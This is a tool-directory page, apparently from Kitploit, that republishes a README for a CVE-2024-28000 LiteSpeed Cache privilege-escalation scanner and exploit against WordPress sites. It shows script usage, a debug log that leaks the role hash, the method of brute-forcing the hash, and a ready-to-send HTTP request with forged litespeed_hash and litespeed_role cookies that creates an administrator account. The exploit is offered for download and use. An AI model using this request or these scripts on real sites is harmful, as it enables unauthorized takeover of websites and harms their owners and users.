Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2024-28000 — CVE-2024-28000 LiteSpeed Cache Privilege Escalation Scan&Exp | Kitploit
Tools/GitHubGitHub/ssssuperx/cve-2024-28000
Privilege EscalationPassword AttacksVulnerability AnalysisExploitationWeb Application ExploitationWeb Security
GitHubssssuperx/cve-2024-28000

CVE-2024-28000

CVE-2024-28000 LiteSpeed Cache Privilege Escalation Scan&Exp

View Repository
122 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

LiteSpeed Cache Privilege Escalation Exp

CVE-2024-28000_Scan.py

  • This script first identifies the version to determine if it is a vulnerable version, then attempts to confirm whether the log file exists. If it exists, it will try to send a request and then request the log file again to search for hash leakage. If LiteSpeed debug mode is enabled, the correct Hash may be leaked.
root@kitploit:~
usage: CVE-2024-28000_Scan.py [-h] [-f F] [-t T] [-p PROXY]

CVE-2024-28000 Scan

optional arguments:
  -h, --help            show this help message and exit
  -f F                  File list
  -t T                  Scan thread
  -p PROXY, --proxy PROXY
                        Example: socks5://127.0.0.1:10808

Example:

root@kitploit:~
09/08/24 16:30:38.219 [0.0.0.0:26008 1 TG9] 💓 ------POST HTTP/1.1 (HTTPS)  /wp-json/wp/v2/users
09/08/24 16:30:38.219 [0.0.0.0:26008 1 TG9] Query String: 
09/08/24 16:30:38.231 [0.0.0.0:26008 1 TG9] [Router] starting role validation
09/08/24 16:30:38.232 [0.0.0.0:26008 1 TG9] [Router] hash not match zasws5 != pkHrfD
09/08/24 16:30:38.232 [0.0.0.0:26008 1 TG9] [Router] get_role: 
09/08/24 16:30:38.241 [0.0.0.0:26008 1 TG9] [Optm] init

If LiteSpeed debug mode is enabled, you may see logs similar to the ones above, where pkHrfD is the correct Hash.

CVE-2024-28000_Exploit.py

  • Tests have shown that there are differences between Hash values generated by Python and PHP. Therefore, the Hash list cannot be simulated using Python. The Hash_list.txt file contains 1,000,000 hashes generated by PHP, so theoretically, it takes up to 1,000,000 attempts to brute-force the correct Hash.
root@kitploit:~
usage: CVE-2024-28000_Exploit.py [-h] [-u U] [-t T] [-d D] [-p PROXY]

CVE-2024-28000

optional arguments:
  -h, --help            show this help message and exit
  -u U                  url
  -t T                  Scan thread
  -d D                  Dict list
  -p PROXY, --proxy PROXY
                        Example: socks5://127.0.0.1:10808
  • The -d parameter is the Hash list, -u is the URL, -t is the number of threads. It is not recommended to set the thread count too high.

Testing

  • In lab environment testing, it is possible to successfully brute-force the Hash, and after reinstalling five times, it has been confirmed that the Hash is within the generated Hash list. However, various factors indicate that the practical exploitation success rate is low.
  • After successfully finding the correct Hash, you can use the following request to add an admin user:
root@kitploit:~
POST /wp-json/wp/v2/users HTTP/2
Host: xxx.com
User-Agent: python-requests/2.28.1
Accept-Encoding: gzip, deflate, br
Accept: */*
Cookie: litespeed_hash=正确Hash; litespeed_role=1
Content-Length: 122
Content-Type: application/json

{"username": "username", "password": "password", "email": "[email protected]", "roles": ["administrator"]}
Download Tool